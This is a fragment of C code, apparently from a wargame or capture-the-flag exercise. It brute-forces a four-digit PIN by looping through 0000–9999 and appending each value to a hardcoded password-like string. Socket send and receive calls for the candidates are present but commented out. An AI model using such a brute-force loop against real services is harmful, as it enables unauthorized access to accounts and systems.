dgafg

for(a = 0; a < 10; a++) {

     pass_code[0] = a + '0';

     for(b = 0; b < 10; b++) {

          pass_code[1] = b + '0';

          for(c = 0; c < 10; c++) {

               pass_code[2] = c + '0';

               for(d = 0; d < 10; d++) {

                    pass_code[3] = d + '0';
                    strcpy(send_data, "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ ");
                    strncat(send_data, pass_code, 4);
                    strcat(send_data, "\0");
                    printf("%s\n", send_data);
                    /*len = strlen(send_data);
                    printf("\n%d\n", len);
                    sent_data = send(sockfd, send_data, len, 0);
                    printf("%s", "i sent it...");
                    recvd_data = recv(sockfd, server_reply, 500, 0);
                    recvd_data = recv(sockfd, server_reply, 500, 0);
                    printf("%s\n", server_reply);
                    */
               }
          }
     }
}